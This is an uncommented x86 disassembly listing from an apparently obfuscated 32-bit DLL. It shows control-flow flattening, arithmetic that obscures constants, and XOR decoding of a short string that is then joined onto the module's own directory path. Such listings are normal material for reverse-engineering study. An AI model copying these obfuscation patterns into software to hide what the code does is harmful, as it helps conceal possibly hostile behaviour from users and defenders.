cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov ecx, dword [0x101cefa4]
mov edx, dword [0x101cefa8]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, ecx
and eax, 0x6a6fe549
xor eax, 0xffffffff
add ecx, 0x6a6fe549
add ecx, 1
add ecx, eax
sub ecx, 0xaf362c19
add ecx, 0x4fc8cd93
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0x23a434
or edx, 0x23a434
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0x23a434
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
or eax, 0x34777905
mov ecx, 0xffffffff
xor ecx, 0x3779259e
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
add eax, 0xa9b85d87
add eax, 0x4dbe5206
add eax, 0x8129f514
sub eax, 0x4dbe5206
imul eax, eax, 0xe9067680
mov ecx, 0xa8f71a13
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x57fac85d
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0x2efe29ad
xor eax, 0xffffffff
mov edx, 0x2efe29ad
and edx, 0x2efe29ad
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
or eax, 0xdcd0f4c0
add eax, 0x84042549
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x857f1bb9
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x3c6f8edb
xor edx, edx
div ecx
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
and ecx, 0x67bc7a71
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x67bc7a71
mov esi, 0xffffffff
xor esi, 0x67bc7a71
or edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x330543c4
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x330543c4
or ecx, 0x330543c4
imul ecx, edx
add ecx, eax
xor ecx, 0x1f581a50
or ecx, 0x1c381f4
mov eax, ecx
and eax, 0xeb4631a8
or ecx, 0xeb4631a8
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x432fcf29
add eax, ecx
mov ecx, 0x8629bdc5
xor edx, edx
div ecx
imul eax, eax, 0xc74add61
and eax, 0xe9e39e1e
sub eax, 0x739d241e
mov ecx, 0xca4d4cb0
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x12ca221c
xor ecx, 0xffffffff
and ecx, 0x12ca221c
shl ecx, 1
sub ecx, 0x12ca221c
sub eax, ecx
xor ecx, ecx
sub ecx, 0x5fc2a68e
add eax, ecx
add eax, 0x4eb8c7bf
mov ecx, 0x60ca692c
xor edx, edx
div ecx
or eax, 0xbf710def
add eax, 0x99b25f09
add eax, 0xd4a97c4c
sub eax, 0x99b25f09
and eax, 0x19e8ec33
xor ecx, ecx
sub ecx, 0x2402a200
sub eax, ecx
sub eax, 0x752c5cfe
add eax, 0x45827aa6
add eax, 0x752c5cfe
mov ecx, 0x72283007
xor edx, edx
div ecx
mov ecx, 0x4f0984a8
xor edx, edx
div ecx
mov ecx, 0xa320c12d
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, esi
xor ecx, 0x4e89fec3
mov edx, 0xffffffff
xor edx, 0x4e89fec3
and esi, edx
shl esi, 1
sub esi, ecx
mov ecx, 0xe8377036
mov edx, 0x7eb1f498
cmp esi, 0x6513459f
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov cl, byte [0x101cbac8]
xor cl, 0x28
mov byte [0x101cbad1], cl
mov cl, byte [0x101cbac9]
xor cl, 0xac
mov byte [0x101cbad2], cl
mov dl, byte [0x101cbaca]
mov cl, dl
xor cl, 0xff
and cl, 0x23
mov ch, 0xff
xor ch, 0x23
and dl, ch
or cl, dl
mov byte [0x101cbad3], cl
mov dl, byte [0x101cbacb]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x76
or ch, 0x76
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x76
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cbad4], cl
mov dl, byte [0x101cbacc]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xae
xor cl, 0xff
mov ch, 0xae
and ch, 0xae
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cbad5], cl
mov dl, byte [0x101cbacd]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xf
or ch, 0xf
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xf
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cbad6], cl
mov cl, byte [0x101cbace]
xor cl, 0x48
mov byte [0x101cbad7], cl
mov dh, byte [0x101cbacf]
mov cl, dh
xor cl, 0xff
and cl, 0x4d
mov ch, 0xff
xor ch, 0x4d
and dh, ch
mov dl, 0xff
xor dl, 0xd2
and dl, 0x4d
and ch, 0xd2
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cbad8], cl
mov cl, byte [0x101cbad0]
xor cl, 0x21
mov byte [str.___V], cl
mov dword [eax], 0x199e1b01
jmp 0x1010caac
mov ecx, dword [0x101cefac]
mov edx, dword [0x101cefb0]
mov eax, ecx
or eax, edx
xor eax, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
add eax, 0xcb899941
mov ecx, eax
xor ecx, 0xb672a461
xor ecx, 0xffffffff
and ecx, 0xb672a461
shl ecx, 1
sub ecx, 0xb672a461
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0xe2b0809a
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xe2b0809a
add eax, edx
sub eax, ecx
add eax, 0xf76ee34e
mov edx, 0xffffffff
xor edx, 0x7e48cff9
mov ecx, eax
xor ecx, edx
and ecx, eax
xor eax, eax
sub eax, 0x3c46d1
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa1f084e5
mov edx, 0xffffffff
xor edx, 0xa1f084e5
and ecx, edx
sub ecx, eax
xor ecx, 0xd7d587e1
mov edx, 0xffffffff
xor edx, 0x122ff43b
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x122ff43b
add ecx, edx
sub ecx, eax
sub ecx, 0x9b19cd11
sub ecx, 0x34c8032a
add ecx, 0x88e1c6e0
mov edx, 0xffffffff
xor edx, 0x39c3d101
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x39c3d101
add ecx, edx
sub ecx, eax
mov eax, ecx
or eax, 0x122e3d9f
xor eax, 0xffffffff
or ecx, 0x122e3d9f
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
and eax, 0x3b719045
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x8675aa3c
mov edx, 0xffffffff
xor edx, 0x8675aa3c
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
or eax, 0xdb2df95b
mov esi, 0xffffffff
xor esi, 0x623241c2
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x623241c2
or eax, 0x623241c2
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x3820c969
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
sub eax, 0x941c4a51
sub eax, 0xc4540fd3
add eax, 0x941c4a51
mov ecx, 0x60af4bf4
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x281b1287
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0x960613d5
xor edx, edx
div ecx
sub eax, 0xa272191f
imul esi, eax, 0xddee93de
sub esi, 0x71974434
and esi, 0x813a5934
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x58123646
mov eax, 0xffffffff
xor eax, 0xe279852d
or esi, ecx
or eax, 0xe279852d
xor esi, 0xffffffff
and esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xd39d769e
mov edx, 0xffffffff
xor edx, 0xd39d769e
mov eax, esi
and eax, edx
imul eax, ecx
mov ecx, esi
and ecx, 0xd39d769e
or esi, 0xd39d769e
imul esi, ecx
add esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xc51814a
mov edx, 0xffffffff
xor edx, 0xc51814a
and esi, edx
mov eax, 0xffffffff
xor eax, 0xdb5cf23e
and eax, 0xc51814a
and edx, 0xdb5cf23e
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
and eax, 0x6a772b1b
or ecx, 0x6a772b1b
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1531ddc1
mov esi, 0xffffffff
xor esi, 0x1531ddc1
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1531ddc1
or eax, 0x1531ddc1
imul eax, edx
add eax, ecx
or eax, 0x3cb3ff73
mov ecx, 0xffffffff
xor ecx, 0xebf64e64
add eax, ecx
add eax, 1
mov ecx, eax
and ecx, 0xb50b19ff
xor ecx, 0xffffffff
add eax, 0xb50b19ff
add eax, 1
add eax, ecx
sub eax, 0x8e992841
mov ecx, 0x55e72bbe
xor edx, edx
div ecx
mov ecx, 0x7797c615
xor edx, edx
div ecx
mov ecx, 0x9321c9b5
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
xor esi, 0x4d3704c
mov ecx, 0x7dcdf0d6
mov edx, 0xbd381c90
cmp esi, 0xa6dd82f6
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cefb4]
mov edx, dword [0x101cefb8]
mov ecx, eax
and ecx, edx
shl ecx, 1
xor eax, edx
add eax, ecx
and eax, 0x737746e2
add eax, 0xf0fbca29
sub eax, 0x59dbcca5
sub eax, 0xf0fbca29
mov ecx, eax
or ecx, 0xde1d289c
xor ecx, 0xffffffff
or eax, 0xde1d289c
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xdd8042d4
mov edx, 0xffffffff
xor edx, 0xdd8042d4
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
imul eax, eax, 0x537b44d9
sub eax, 0x1b937755
or eax, 0xb395426b
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9792b612
mov ecx, 0xffffffff
xor ecx, 0x3b67339
or eax, edx
or ecx, 0x3b67339
xor eax, 0xffffffff
and eax, ecx
and eax, 0xf0a1946d
mov ecx, 0xbb28f79d
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
xor eax, 0xbd636401
mov ecx, 0xffffffff
xor ecx, 0xbd636401
and esi, ecx
shl esi, 1
sub esi, eax
sub esi, 0xfcc48fa5
xor esi, 0xdfba58d8
or esi, esi
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xc8aa8e2b
mov ecx, 0xffffffff
xor ecx, 0xc8aa8e2b
and eax, ecx
xor esi, 0xffffffff
xor eax, 0xffffffff
and esi, eax
mov eax, esi
xor eax, 0xba095b6d
xor eax, 0xffffffff
or esi, 0xba095b6d
and esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x4d77980
mov edx, 0xffffffff
xor edx, 0x4d77980
and esi, edx
mov eax, 0xffffffff
xor eax, 0x3e84e784
and eax, 0x4d77980
and edx, 0x3e84e784
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xc4faccd7
mov esi, 0xffffffff
xor esi, 0xc4faccd7
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc4faccd7
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x1f0c503c
xor edx, edx
div ecx
sub eax, 0x1148f203
mov ecx, 0x5810553
xor edx, edx
div ecx
sub eax, 0xcee624db
sub eax, 0x540b316b
add eax, 0xcee624db
mov ecx, 0x85e3ee5e
xor edx, edx
div ecx
add eax, 0xbff975b9
add eax, 0xb09c24a1
sub eax, 0xbff975b9
mov ecx, eax
and ecx, 0xc3f9efae
xor ecx, 0xffffffff
add eax, 0xc3f9efae
add eax, 1
add eax, ecx
imul eax, eax, 0xc08157b9
mov ecx, 0xffffffff
xor ecx, 0x88a81d48
add eax, ecx
add eax, 1
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xbc67e42a
mov edx, 0xffffffff
xor edx, 0xbc67e42a
and eax, edx
or ecx, eax
mov eax, 0xffffffff
xor eax, 0x262ddd18
add ecx, eax
add ecx, 1
mov eax, ecx
or eax, 0xf9c65321
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf9c65321
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
add eax, 0xf5398ed3
xor ecx, ecx
sub ecx, 0x633a8f66
add eax, ecx
sub eax, 0x6f136f95
and eax, 0xf50fc12b
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xd6298c96
add eax, ecx
or eax, 0x8738f10e
mov ecx, 0xdd141c07
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
xor esi, 0x9944c483
add esi, 0xa175752c
add esi, 0x331957ad
sub esi, 0xa175752c
mov edx, esi
xor edx, 0xffffffff
and edx, 0x3aabde32
mov edi, 0xffffffff
xor edi, 0x3aabde32
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x3aabde32
or esi, 0x3aabde32
imul esi, edx
add esi, ecx
add esi, 0xa01bee73
mov ecx, 0xed4db4ca
mov edx, 0x7dcdf0d6
cmp esi, 0x74a6ae07
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cefbc]
mov edx, dword [0x101cefc0]
xor edx, 0xffffffff
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x642d8736
mov esi, 0xffffffff
xor esi, 0x642d8736
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x642d8736
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
sub eax, 0x3623169e
or eax, 0xba9176c4
xor eax, 0xe68a4ab
imul eax, eax, 0x882c51c0
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc93b687c
add ecx, eax
xor eax, eax
sub eax, ecx
imul eax, eax, 0x424a1bec
mov ecx, 0xe6ff340d
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe7634854
mov esi, 0xffffffff
xor esi, 0xe7634854
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe7634854
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6ace8d10
mov esi, 0xffffffff
xor esi, 0x6ace8d10
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6ace8d10
or eax, 0x6ace8d10
imul eax, edx
add eax, ecx
mov ecx, 0x62b1fd62
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xebdc3b4b
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xfef9b07e
and ecx, 0xfef9b07e
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
and ecx, 0x83642fdb
xor eax, 0x83642fdb
or ecx, eax
or ecx, 0x9fecc0da
mov eax, ecx
and eax, 0x430f775b
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x430f775b
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor ecx, ecx
sub ecx, 0xd184e6f8
sub eax, ecx
sub eax, 0x96566e
and eax, 0x37cfbb6a
add eax, 0x2fba1174
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2c52cf84
mov ecx, 0xffffffff
xor ecx, 0xf920c000
or eax, edx
or ecx, 0xf920c000
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x959f5b9c
xor edx, edx
div ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xdca616c6
mov ecx, 0xffffffff
xor ecx, 0x6ecad573
or eax, edx
or ecx, 0x6ecad573
xor eax, 0xffffffff
and eax, ecx
mov ecx, eax
and ecx, 0xb63a3d41
shl ecx, 1
xor eax, 0xb63a3d41
add eax, ecx
xor ecx, ecx
sub ecx, 0xea58ab51
add eax, ecx
mov ecx, 0x480a53e9
xor edx, edx
div ecx
or eax, 0xe547a1a6
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xadc085fd
mov edx, 0xffffffff
xor edx, 0xadc085fd
and eax, edx
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0x6d6bca76
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x6d6bca76
add eax, edx
sub eax, ecx
mov ecx, 0x8000839
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x66f5c123
or ecx, 0x66f5c123
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe3a6e598
mov ecx, 0xffffffff
xor ecx, 0x478afaeb
or eax, edx
or ecx, 0x478afaeb
xor eax, 0xffffffff
and eax, ecx
or eax, 0x7652eaa3
imul eax, eax, 0xef02dbb6
and eax, 0x7c567754
sub eax, 0x799f97d1
mov ecx, eax
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x9552b2b5
mov edx, 0xffffffff
xor edx, 0x5a1a2394
mov edi, ecx
and edi, 0x5a1a2394
and eax, edx
mov dword [ebp - 0x38], eax
mov ebx, esi
and ebx, 0x5a1a2394
mov eax, edx
and eax, 0x9552b2b5
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x38]
or edi, eax
mov eax, dword [ebp - 0x34]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor edi, ebx
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x5a1a2394
and ecx, edx
or edi, ecx
mov esi, edi
xor esi, 0xffffffff
and esi, 0x8506b5d4
mov edx, 0xffffffff
xor edx, 0x8506b5d4
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xa0fada4a
and ecx, 0x8506b5d4
and edx, 0xa0fada4a
or esi, edi
or ecx, edx
xor esi, ecx
mov edx, esi
xor edx, 0xffffffff
and edx, 0xa30ed130
mov edi, 0xffffffff
xor edi, 0xa30ed130
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0xa30ed130
or esi, 0xa30ed130
imul esi, edx
add esi, ecx
xor ecx, ecx
sub ecx, 0x59e86256
add esi, ecx
mov ecx, 0x1dd8f29b
mov edx, 0xf0442c8d
cmp esi, 0x7c9e9a73
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov esi, 0xacc1a447
mov dword [0x101d2614], 1
push eax
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x40], ecx
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov edx, esp
mov dword [ebp - 0x48], edx
mov edx, dword [0x101cbad1]
mov dword [ecx], edx
mov edx, dword [0x101cbad5]
mov dword [ecx + 4], edx
mov dl, byte [str.___V]
mov byte [ecx + 8], dl
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x44]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov ecx, dword [ebp - 0x44]
lea eax, [0x101c6a11]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
mov ecx, dword [ebp - 0x44]
add esp, 8
mov eax, dword [ebp - 0x40]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
add esp, 8
call fcn.10100d10
mov ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, 0
setne cl
mov byte [ebp - 0x39], cl
mov ecx, 0xf0442c8d
mov edx, 0xf19a6488
cmp esi, 0x3eebe4fb
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x39]
mov ecx, 0xe39d6761
mov edx, 0x8c1b2330
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cefcc]
add eax, dword [0x101cefd0]
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
and ecx, 0xc4761501
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc4761501
mov esi, 0xffffffff
xor esi, 0xc4761501
or edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3ce71b5a
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x3ce71b5a
add ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x50], eax
mov esi, 0xffffffff
xor esi, 0xc284587b
mov edx, 0xffffffff
xor edx, 0xb051c439
and eax, 0xb051c439
and ecx, edx
mov edi, esi
and edi, 0xb051c439
mov ebx, edx
and ebx, 0xc284587b
or eax, ecx
mov ecx, dword [ebp - 0x50]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xb051c439
and ecx, edx
or eax, ecx
mov ecx, 0x90c06302
xor edx, edx
div ecx
mov edx, 0xffffffff
xor edx, 0x580afedc
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x580afedc
add eax, edx
sub eax, ecx
or eax, 0xf5d13481
mov ecx, 0xceb0281a
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1b991538
mov eax, 0xffffffff
xor eax, 0x51758bf3
or ecx, edx
or eax, 0x51758bf3
xor ecx, 0xffffffff
and ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xd13ab498
or eax, 0xd13ab498
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
sub ecx, 0xfc46f221
sub ecx, 0xf5738918
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x6e866985
add ecx, eax
xor ecx, 0x2ef0a543
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x72d56a7c
mov esi, 0xffffffff
xor esi, 0x72d56a7c
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x72d56a7c
or ecx, 0x72d56a7c
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x2abd2ac6
shl eax, 1
xor ecx, 0x2abd2ac6
add ecx, eax
sub ecx, 0x4e259002
add ecx, 0x1f2a946b
add ecx, 0x4e259002
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x72c5f529
mov esi, 0xffffffff
xor esi, 0x72c5f529
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x72c5f529
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x353327f7
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, 0x1d6bf682
xor eax, 0xffffffff
or ecx, 0x1d6bf682
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
or eax, 0x4e63ec3c
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x85420228
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0xc71914f9
xor edx, edx
div ecx
add eax, 0x1a0631da
xor eax, 0xf6fbd79
mov esi, 0xffffffff
xor esi, 0x2655d2d9
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x2655d2d9
or eax, 0x2655d2d9
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0xc1fe3b8d
xor ecx, 0xffffffff
add eax, 0xc1fe3b8d
add eax, 1
add eax, ecx
or eax, 0x5777ba16
add eax, 0x9de7c8d1
sub eax, 0xfae77eb8
mov ecx, 0x672f91cf
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x4d04759f
add ecx, 0x16db36f0
and ecx, 0xf20fc2a4
mov eax, ecx
xor eax, 0x78af091a
mov edx, 0xffffffff
xor edx, 0x78af091a
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x4c], eax
mov esi, 0xffffffff
xor esi, 0x118034a8
mov edx, 0xffffffff
xor edx, 0x21e2d390
and eax, 0x21e2d390
and ecx, edx
mov edi, esi
and edi, 0x21e2d390
mov ebx, edx
and ebx, 0x118034a8
or eax, ecx
mov ecx, dword [ebp - 0x4c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x21e2d390
and ecx, edx
or eax, ecx
xor eax, 0xc5b8626b
mov ecx, 0xa906887e
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
xor esi, 0xe7f3c1eb
add esi, 0x5986f8a2
sub esi, 0xe5649084
sub esi, 0x5986f8a2
sub esi, 0x6fbd8882
mov ecx, 0x5fec2697
mov edx, 0x6afb2e6c
cmp esi, 0x9644ca82
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cefd4]
mov edx, dword [0x101cefd8]
mov ecx, edx
and ecx, eax
xor ecx, 0xffffffff
add eax, edx
add eax, 1
add eax, ecx
imul ecx, eax, 0x510482b5
mov eax, ecx
and eax, 0x86ab8cd4
xor ecx, 0x86ab8cd4
or eax, ecx
xor eax, 0x9f89e32c
imul eax, eax, 0x4f75be80
xor eax, 0x8c74e5c1
mov ecx, eax
and ecx, 0xb1dc87d3
xor ecx, 0xffffffff
add eax, 0xb1dc87d3
add eax, 1
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9158c0a7
mov esi, 0xffffffff
xor esi, 0x9158c0a7
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x9158c0a7
or eax, 0x9158c0a7
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf8ef4ae1
mov ecx, 0xffffffff
xor ecx, 0xab609ffd
or eax, edx
or ecx, 0xab609ffd
xor eax, 0xffffffff
and eax, ecx
mov ecx, eax
and ecx, 0x47790816
shl ecx, 1
add eax, 0x47790816
sub eax, ecx
or eax, 0xfac0be7
and eax, 0xa87681ae
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xcb61284a
or edx, 0xcb61284a
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, 0xcb61284a
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
xor ecx, 0x7c12ce54
mov eax, ecx
xor eax, 0xb25ec70e
xor eax, 0xffffffff
or ecx, 0xb25ec70e
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x3d7a9ea1
mov edx, 0xffffffff
xor edx, 0x3d7a9ea1
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
or eax, 0x219ae126
imul eax, eax, 0x45ef94cc
sub eax, 0x7c412375
add eax, 0x5a6cbbe
or eax, 0x19072445
mov ecx, 0xffffffff
xor ecx, 0xb758a962
add eax, ecx
add eax, 1
mov ecx, 0xaeafef82
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x26961d31
mov eax, ecx
xor eax, 0x8053e8cf
xor eax, 0xffffffff
and eax, 0x8053e8cf
shl eax, 1
sub eax, 0x8053e8cf
sub ecx, eax
or ecx, 0x9536b404
xor ecx, 0x6413526d
xor ecx, 0xe89c9605
mov eax, ecx
and eax, 0x625510b0
xor ecx, 0x625510b0
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x22cac19c
mov esi, 0xffffffff
xor esi, 0xe2bb1881
mov ecx, edx
and ecx, 0xe2bb1881
and eax, esi
